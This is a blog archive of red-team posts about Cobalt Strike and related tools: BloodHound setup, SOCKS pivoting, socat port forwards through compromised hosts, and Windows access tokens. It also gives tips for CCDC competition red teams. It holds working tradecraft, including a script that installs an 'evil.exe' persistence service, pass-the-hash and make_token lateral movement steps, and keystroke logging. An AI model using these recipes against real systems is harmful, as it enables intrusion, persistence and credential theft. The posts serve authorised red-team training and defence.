Archive for the ‘Red Team’ Category


My First Go with BloodHound

December 14, 2016

I finally had a chance to sit down and play with BloodHound. This was an item on my hacker todo list for awhile now. In this blog post, I’ll take you through my initial steps setting up and using this tool. It’s my hope that this information will help you get started with BloodHound too.

What is BloodHound?

BloodHound is a tool to analyze and understand Active Directory Trust Relationships. For an offensive practitioner, this tool can highlight the hops you might take to reach a goal within a network. For a defensive practitioner, this tool is gold as it can show you the most likely paths an attacker might take. It’s a good exercise to decide which of these trust paths needs to exist and which you can eliminate.

BloodHound is open source (GPLv3) and its developers are Andy Robbins, Rohan Vazarkar, and Will Schroeder from Veris Group’s Adaptive Threat Division.

To get an initial taste of the tool, I recommend that you watch their Six Degrees of Domain Admin conference talk.


There are setup instructions on the BloodHound Wiki. These instructions do assume some familiarity with Neo4j. For the record, I have no familiarity with Neo4j. I found the Setting Up BloodHound on Debian Jessie post by Sanjiv Kawa very helpful. With Sanjiv’s information and the information on the BloodHound Wiki, I was able to get everything going on Kali Linux 2016 rolling without too much trouble.


Once BloodHound is running, you’ll want to bring some data into it and give it a spin. There is an example database, but I chose to pull BloodHound data from my test environment and import it into the tool instead.

BloodHound comes with a PowerShell script with several cmdlets that make this process easy. Get-BloodHoundData collects the data BloodHound needs. This cmdlet will return a PowerShell object. It’s necessary to pipe this object to another cmdlet to take some action on it. The Export-BloodHoundCSV cmdlet will dump the BloodHound data into three CSV files.

powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

The CSV files will exist on the target where the above cmdlets were run. To import them into BloodHound: download the CSV files and use the Upload function in BloodHound’s interface.

From this point, you’re ready to run queries against this data. BloodHound has several pre-built queries and it’s also very easy to ask BloodHound to give you a trust path from one identity or system to another.

In this video I demonstrate these steps:


I think BloodHound is one of the neatest things to come into the red teamer’s arsenal this year. While my demo network is easy to go through by hand, imagine the use of this tool in a much larger environment with more complex trusts. There’s a lot of power here.


Agentless Post Exploitation

November 3, 2016

Agentless Post Exploitation is using system administration capabilities to meet post-exploitation objectives, without an agent on the target. It’s just evil system administration. This talk is a survey of agentless post-exploitation techniques. It covers how to execute commands, upload/download files, harvest credential material, user exploitation, and pivoting. Enjoy!

You may also download the slides as well.


HOWTO: Port Forwards through a SOCKS proxy

June 1, 2016

Recently, I’ve had multiple people ask about port forwards with Cobalt Strike’s Beacon payload. Beacon has had SOCKS proxy pivoting support since June 2013. This feature opens a SOCKS proxy server on the team server. Each SOCKS server instance is associated with an individual Beacon. All requests and traffic sent to a Cobalt Strike SOCKS server are sent to the Beacon to take action on.

SOCKS pivoting is a no-brainer with a SOCKS aware application, such as a web browser. Simply point the application at your Cobalt Strike team server, put in the right port, and away you go.

SOCKS pivoting is also easy on Linux, thanks to the magic of proxychains. The proxychains program will run a program, intercept outbound network connections from that program, and force the connection through the SOCKS proxy set in a global configuration file (/etc/proxychains.conf).

These options work well in many cases, but they do not cover all cases. What happens if you need to tunnel the Windows RDP client through the Beacon payload? How about interacting with a target network share from a red Windows asset tunneled over Cobalt Strike’s Beacon payload?

One way to meet the above needs is to use a commercial tool, like ProxyCap, to make your Windows system proxy aware. [Thanks Meatballs, for the tip on this one]. This will allow you to force Windows tools and clients through the Beacon payload.

Another option is to create a port forward on your team server that reaches the target host and port through your Beacon. There’s one problem here. Beacon does not have a port forward command [it does have reverse port forwards]. I may add this in the future, but it’s not a big omission. You can use socat to create a port forward that goes through a SOCKS proxy. Here’s the syntax to do this:

 socat TCP4-LISTEN:<listen port>,fork SOCKS4:<team server host>:<target>:<target port>,socksport=<socks port>

Let’s say you want to port forward 3389 on your team server in red space to in blue space. Let’s assume the Beacon SOCKS proxy lives on port 9999. Here’s the syntax to do this:

 socat TCP4-LISTEN:3389,fork SOCKS4:,socksport=9999

And, that’s how you turn a SOCKS proxy server into a port forward. This works equally well with the SOCKS pivoting available over SSH. In fact, Advanced Threat Tactics, part 7 – Pivoting, covers the topics in this post. If you liked this post, I recommend that you check out that lecture. [The whole course is chock-full of other goodness too]


Linux, Left out in the Cold?

March 23, 2016

I’ve had several folks ask about Linux targets with Cobalt Strike 3.0 and later. Beacon is a Windows-only payload. The big question becomes, how do you use Cobalt Strike to operate against Linux, BSD, and other UNIX flavored targets?

Cobalt Strike is not the master unified interface for all hacking tasks. Rather, Cobalt Strike is a toolset to facilitate targeted phishing, covert post-exploitation, and lateral movement in a typical Windows enterprise environment. I didn’t forget about other targets though. Beacon has a built-in port scanner to help find them. I also provide options to use Beacon as a communication layer to bring other tools into the engagement (when it makes sense).

It’s quite easy to use Cobalt Strike as a jumping off platform to reach UNIX server targets. In this blog post, I’ll share a few recipes to do so.

Access Strategies

Cobalt Strike does not have tools to find vulnerabilities in and exploit UNIX targets. If there’s an exploit or attack you want to use, tunnel it through Cobalt Strike’s Beacon.

Optionally, target a system administrator’s Windows workstation and use that access to steal trust material to take a UNIX target. There are a lot of options here.

Cobalt Strike has keystroke logging and screenshot tools designed for long-term operations. The Red Team Field Manual has an interesting recipe to log all keystrokes and output from Putty sessions. You can also look at tools like, PuttyRider, which lets you inject into Putty and do interesting things.

Finally, if you observe a user interacting with a web interface to a device or server, try a browser pivot to interact with that site, as them. Browser Pivoting is Cobalt Strike’s man-in-the-browser session hijacking capability.

Tunnel SSH over Beacon

Cobalt Strike’s Beacon exposes a SOCKS interface for pivoting. SOCKS is a standard for proxy servers and proxy-aware clients. To create a SOCKS interface tied to a Beacon:

1. Interact with a Beacon

2. Type sleep 0 to ask to the Beacon to check-in multiple times each second. A high check-in time will introduce latency into your tunneled traffic.

3. Type socks 1234 to create a SOCKS proxy server on port 1234 of your team server.

At this point, you have a listening socket, on your team server, ready to receive connections from proxy-aware clients. The Beacon associated with this SOCKS server will initiate any connections requested by a SOCKS client. Once a connection is made, Cobalt Strike relays all traffic between the SOCKS client and the new connection via Beacon’s communication path (whatever it is).


Some applications have built-in support for SOCKS. Other applications do not. If you want to use an application that is not SOCKS aware, try out proxychains.

The proxychains program accepts a program name and program arguments as its arguments. Any outbound TCP connection made the specified program is forced through a proxy server. This proxy configuration is specified in a global configuration file (/etc/proxychains.conf).

To tunnel SSH through a SOCKS proxy server with proxychains:

4. Open /etc/proxychains.conf with your favorite text editor.

5. Scroll to the bottom of the file.

6. Change the lines under [ProxyList] to:

socks4 1234

7. Save the file.

8. In a new terminal, type: proxychains ssh [email protected]

Your SSH session will now tunnel through Cobalt Strike’s Beacon payload.

Tunnel Beacon over SSH

You may run into a situation where you need to tunnel Cobalt Strike’s Beacon through a compromised Linux target to attack a Windows network. I’ve had this happen and I’ve heard stories from others with a similar situation. I can’t say this is something you’ll see often, but it’s a good exercise in tunneling flexibility.

Here’s the scenario:

I can reach a Linux target over SSH. This Linux target can talk to a Windows network I want to attack. I have credential material for the Linux target. I also have credential material for a Windows target. I want to attack the Windows target with Cobalt Strike.

Here are the steps:

1. From a red Linux asset, run: ssh –D 1080 [email protected]_target. This command will create an SSH session and a SOCKS proxy server, bound to port 1080 on the red Linux asset, that forwards all connections through the SSH tunnel. In effect, this proxy allows us to make connections from the compromised Linux target.

2. On the red Linux asset, forward port 445 to reach a Windows target through the SSH SOCKS Proxy server. Here’s the socat recipe for this: socat TCP4-LISTEN:445,fork SOCKS4: Anything that touches this red Linux asset on port 445, will now reach the Windows target on port 445.

3. Run a Beacon on a red Windows asset. Cobalt Strike’s attacks are deployed to and run by Beacon directly. This plays well with Cobalt Strike’s model of offense.

4. Create a named pipe listener in Cobalt Strike. Go to Cobalt Strike -> Listeners. Press Add. Choose the windows/beacon_smb/bind_pipe payload.

5. Through the red asset Beacon, create an access token from credential material for an Administrator user on the target Windows system. Use make_token [DOMAIN\user] [password] if you have credentials. Use pth [DOMAIN\user] [hash] if you have an NTLM hash.

6. Attack the Windows target (via the Linux port forward) with psexec or psexec_psh .


Cobalt Strike will run Beacon, stage it, and assume control of the host over port 445. Since we’re targeting a port forward on a pivot system, this process will ride over our SSH tunnel. You now have a Beacon foothold, in another network, tunneled through a Linux target.

Control UNIX Targets with PowerShell

rvrsh3ll published an Invoke-SSHCommand PowerShell cmdlet. This script runs a command over SSH and returns its output to you. Here’s how to use this script with Beacon:

1. Download the Misc-PowerShell Scripts repository from Github

git clone

2. Interact with a Beacon

3. Use powershell-import /path/to/Invoke-SSHCommand.ps1 to import rvrsh3ll’s script into Beacon.

4. Run powershell Invoke-SSHCommand –ip [target] –username [user] –password [password] –command “uname –a”

These steps will run the uname –a command on a target of your choosing. Be aware that this script does require .NET 3.5 on the target or it won’t work.

If you find it cumbersome to type these commands again and again, you can use Aggressor Script to define an ssh alias in Beacon:

# beacon> ssh [target] [user] [pass] "[command + args]"
alias ssh {
	($bid, $target, $user, $pass, $what) = @_;
	bpowershell_import($bid, script_resource("Invoke-SSHCommand.ps1"));
	bpowershell($bid, "Invoke-SSHCommand -IP $target -Username $user -Password $pass -Command \" $+ $what $+ \"");

The Post Exploitation and Pivoting lectures of Advanced Threat Tactics covers many of the concepts in this blog post.


Cobalt Strike Tips for 2016 CCDC Red Teams

February 23, 2016

It’s CCDC season again. CCDC is the National Collegiate Cyber Defense Competition. Teams of students in 10 regions run simulated business networks and defend against red team attacks. The winners of these regional events square off at the National CCDC in San Antonio, TX.

Strategic Cyber LLC is making Cobalt Strike available to the red teams at the regional and National CCDC events. License information should come from your red team lead. If you’re a lead and you don’t have this information, shoot me an email.

Here are a few notes on how to benefit from Cobalt Strike during your CCDC event:


Many organizers will allow a red team member to scan blue networks before the event starts. I recommend that you use NMap and use the –oX flag to generate an XML file. Go to View -> Targets and press Import to bring this information into Cobalt Strike.

Initial Access

Some CCDC events operate under the mantra of assume breach. In these events, the red team pre-seeds their backdoors and misconfigurations on blue team systems. For these events, I would export a stageless HTTP or DNS Beacon (Attacks -> Packages -> Windows Executable (S)) and run it on each starter system.

Other events promise students “clean systems”. These events start with a frantic race. Students rush to change passwords and isolate their networks in a way the rules allow. The red team launches carefully prepared scripts to exploit vulnerable services or default passwords to get footholds in the unsecured blue networks.

Cobalt Strike 3.0 and later no longer integrate the Metasploit Framework. I would not use Cobalt Strike 3.x for these scripted opening salvos. If you want to efficiently launch exploits at a lot of targets, use Armitage or create a Metasploit resource script.

If you still want to use Cobalt Strike to launch attacks without a foothold, read How do I psexec without an initial Beacon?


Cobalt Strike’s Beacon payload does not include built-in persistence. This is by design. If I include a turn-key persistence option, everyone will know to look for it. Instead, I expect you to script something.

Here’s a script that automatically persists on a system when a new Beacon comes in:

# 1. Go to Attacks -> Packages -> Windows Executable (S)
# 2. Export a Windows Service EXE file
# 3. Save as evil.exe in the same folder as this script

on beacon_initial {
	bcd($1, "c:\\windows\\");
	bupload($1, script_resource("evil.exe"));
	bshell($1, "sc create evil binpath= \"c:\\windows\\evil.exe\"");
	bshell($1, "sc start evil");

Consult the Aggressor Script documentation for more information on scripting Cobalt Strike 3.x.

User Exploitation

Cobalt Strike does not bake its screenshot and keystroke features into the Beacon agent. Instead, these features are Reflective DLLs that inject into a process of your choosing. These DLLs then report information back to Cobalt Strike’s Beacon. This allows you to sit in a SYSTEM-level process and watch the user’s keystrokes and take screenshots without migrating processes. Cobalt Strike also has a neat workflow to mass deploy these features. I recommend that you watch this video and become familiar with these features. It’ll make your event a lot more fun. 🙂

Tool Interoperability and Session Passing

Multiple toolsets are in play during the CCDC events. I would expect to see BeaconPowerShell Empire, Meterpreter, and Throwback. You’ll want to know how to use these tools together.

Justin Warner’s Empire & Tool Diversity: Integration is Key blog post shows how to use PowerShell Empire to interoperate with Cobalt Strike and the Metasploit Framework.

Cobalt Strike has thought out workflows to tunnel the Metasploit Framework through Beacon, spawn Meterpreter sessions, and deliver Beacon with Metasploit Framework exploits. Read Interoperability with the Metasploit Framework to understand these best practices to use Cobalt Strike and the Metasploit Framework together.

Finally, you can use Silent Break Security’s Throwback to pass sessions to Cobalt Strike. Ask Throwback to spawn a Meterpreter Reverse HTTPS or Meterpreter Reverse HTTP payload and point the IP address/port at your Beacon listener. Brady Bloxham’s Throwback Thursday – A Guide to Configuring Throwback blog post will take you through Throwback setup and use, step-by-step.

Screenshots, Logs, and Reports

Cobalt Strike now logs all red team activity on its team server. These logs are stored in the logs/ folder co-located with your Cobalt Strike distribution. All commands, output, and screenshots are available with timestamps for each activity. If you need ground truth on whether or not something happened, these logs are the place to go.

Red Team Leads are always asking for good screenshots. Use Ctrl+T to take a screenshot of the current tab in Cobalt Strike. This feature pushes screenshots to the team server and stores them in the logs/[date]/screenshots folder. You no longer have to worry about the interesting screenshots living on random volunteer laptops.

Cobalt Strike’s Reports are helpful aids for debriefing with your student blue teams. Reporting -> Activity Report is an action-by-action timeline of all red team activity. Reporting -> Sessions Report documents red team infrastructure, indicators, and activity on a session-by-session basis. Finally, Reporting -> Indicators of Compromise lists MD5 hashes of files put on disk and all of your callback domains and IP addresses. If you use multiple team servers, don’t fret! Cobalt Strike’s Reporting Tool merges information from all servers you’re connected to when it makes its reports.

How to Prepare

If you’re new to red teaming at CCDC or Cobalt Strike, there are several resources to help you prepare for your event:

Watch Advanced Threat Tactics to learn about Cobalt Strike and its workflows. This nine-part course is a time investment, but it’ll provide the background necessary to understand use Cobalt Strike.

I have several write-ups on previous CCDC events: Start with So, you won a regional and you’re headed to National CCDC. This blog post is a generic description of how the National CCDC team works and the defenses we commonly see. National CCDC Red Team – Fair and Balanced documents my experience on the 2013 National CCDC Red Team. WRCCDC – A Red Team Member’s Perspective covers my experience at the 2013 WRCCDC. Last, check out CCDC Red Teams: Ten Tips to Maximize Success. While these posts are older, their content is relevant going into this CCDC season.

Finally, watch Dirty Red Team Tricks I and Dirty Red Team Tricks II. These talks discuss my early days of CCDC Red Teaming and provide a first-hand account of a CCDC red team’s evolution from catch-and-release exploitation of vulnerable systems to providing a persistent actor for students to detect and respond to.


Windows Access Tokens and Alternate Credentials

December 16, 2015

I’d like to call your attention to the humble runas.exe program on Windows. This program allows a Windows user to spawn another program with another user’s credentials.


It’s a little painful to use runas.exe from a remote access tool. This program doesn’t accept a password as an argument. Cobalt Strike’s Beacon has a built-in runas command to give you similar functionality.

The process that runas starts has an access token populated with the same single sign-on information you would expect from access tokens made by a normal login. You can steal a token from a program started by runas and use that token to interact with local and remote resources.

The runas capability is great for situations where you want to create a process as a local user on the current system or as a domain user from a trusted domain. This covers a lot of situations, but not all.

What happens if you need to interact with a remote resource as a local user on another system? How do you interact with a remote resource as a domain user when there’s no trust relationship with that domain? These problems have a solution.

The Curious /NETONLY Flag

The runas program has a /NETONLY flag. This flag tells runas that the specified credentials are for remote access only. Windows will not try to validate these credentials. Instead, Windows will create a copy of your current access token and update it to use the new credentials when Windows interacts with a remote resource. Windows will then create the new process with this doctored token.

This has a curious effect. The new program is run as the current user. On the current system, there is no change in your rights, permissions, or identity. But, when you interact with a remote resource, you are the specified user.


Logon Sessions and other Access Token Trivia

I hope I’ve raised some questions so far. Questions like, how does runas.exe /NETONLY work?

Windows manages identity and security information in a structure known as an Access Token. These data structures contain things like: your username, groups, privileges, and other information. An Access Token may also contain information to restrict your rights. When working with Windows, it’s important to understand that an access token isn’t a single thing that represents a user’s identity. An access token is an instantiation of an identity with a lot of variables thrown in.

An easy example of this is User Account Control. A local administrator user may run most processes in a medium integrity context. The tokens associated with their processes have an Integrity level field set to 0x2000 which is SECURITY_MANDATORY_MEDIUM_RID. Processes run by the same local administrator in a high integrity context have access tokens with their Integrity level set to 0x3000. These tokens represent the same user, but different rights. The point here is that Windows may have multiple access tokens, with different configurations, for a user and that’s normal.

This blog post isn’t a deep dive into access tokens though. It’s a walk down the garden path about single sign-on information. Let’s jump into that.

An Access Token contains your identity on the current system and it states what you can and can’t do on the current system. An Access Token also references the information Windows uses to automatically authenticate to remote systems.

Now I hope you’re asking: what part of an Access Token determines who you are on a remote system? This question is the whole point of this blog post.

Each Access Token references a Logon Session. The Logon Session references credential material for single sign-on purposes. When Windows authenticates to a remote system, it uses the Logon Session’s credential material to authenticate. A Logon Session is made after authentication is successful. Logon Sessions go away when there are no more tokens that reference them.

When you use the /NETONLY flag with runas.exe, Windows will create a new Logon Session with the credential material you provide. It will then copy your current token and substitute the default logon session for the new one. The specified program is then run with this new token.

The program run by runas looks like it’s running as your current user. That’s because it is. The new program was run with a copy of your user’s access token! When you interact with a network resource, Windows does not authenticate as your Access Token’s user. Windows uses the credential information referred to by the new Logon Session. In this case, the credential material in this new Logon Session does not necessarily match the identity in your current Access Token.

If you’d like to see a list of Logon Sessions on your current system, take a look at the logonsessions utility by Mark Russinovich.


Implications for Beacon Users

Beacon’s runas command is similar to the default behavior of the runas program built into Windows. What about the /NETONLY flag? Beacon has something like this too. It’s the make_token command.

The make_token command uses the LogonUser function in Windows with the LOGON32_LOGON_NEW_CREDENTIALS flag. This API creates a Logon Session from the specified credentials, copies your Access Token, associates the new Logon Session with the new Access Token, and makes this new Access Token available. Beacon then impersonates this new token.

What’s the effect of this? You have a new token that is locally indistinguishable from your previous token. When you use Beacon’s getuid command to query your token’s identity, you get back the current user. When you type shell whoami, you get back the current user.

What happens when you interact with a network resource? Windows authenticates with the credentials you specified to make_token. Why? Because the Logon Session in the current Access Token references the credentials you provided to make_token. In this case, the Logon Session information does not match the local identity of your current token.

The make_token command in Beacon works this way to allow you to use a local account from another system to interact with it. This mechanism also allows you to authenticate to a system as a domain user when there’s no trust relationship with that domain.

The pth command in Beacon is a similar story. The pth command asks mimikatz to: (1) create a new Logon Session, (2) update the credential material in that Logon Session with the domain, username, and password hash you provided, and (3) copy your Access Token and make the copy refer to the new Logon Session. Beacon then impersonates the token made by these steps and you’re ready to pass-the-hash.

Again, with pass-the-hash, the side effects are similar. The new token is locally indistinguishable from your current user. That’s because you are your current user! When you interact with a network resource, Windows uses the material from the Logon Session to authenticate. In this case, it’s the information you provided to the pth command.

Frequently Asked Questions

This blog post is the result of many questions I’ve had about the make_token and pth commands in Beacon. Common questions include: Do pth and make_token work with local accounts? Yes. Do pth and make_token work with domain user credentials when there’s no trust relationship with the specified domain? Yes. Why do the make_token and pth tokens report themselves as the current user? That’s just the way it is.

Windows is a complicated animal. I appreciate that its design sometimes results in non-obvious or confusing behavior. I hope this blog post clears up some of the confusion about the make_token and pth commands for you.

If you’d like to learn more about this topic, to include how to use make_token and pth in an operation, consult the Lateral Movement lecture from the Advanced Threat Tactics course.


Flying a Cylon Raider

November 18, 2015

In Season 1, Episode 5 of Battlestar Galactica, Lieutenant Kara Thrace finds herself marooned on a barren planet with a crashed Cylon Raider. To get home, Lieutenant Thrace has to apply her knowledge of flight fundamentals to control the strange platform and pilot it back to safety.

And, so it goes with hacking. You don’t always get to choose your tools. In mature environments, the combination of defenses and analysts you’re working against will dictate which tools you can use.

When your favorite toolset is taken away from you, how do you operate?

Recently, I had a chance to discuss this question with the audience at the SANS Hackfest in Washington, DC. That talk, Flying a Cylon Raider, is a guide on how to take your knowledge of Meterpreter and apply it to other toolsets.

I’ve re-recorded the presentation. Here it is: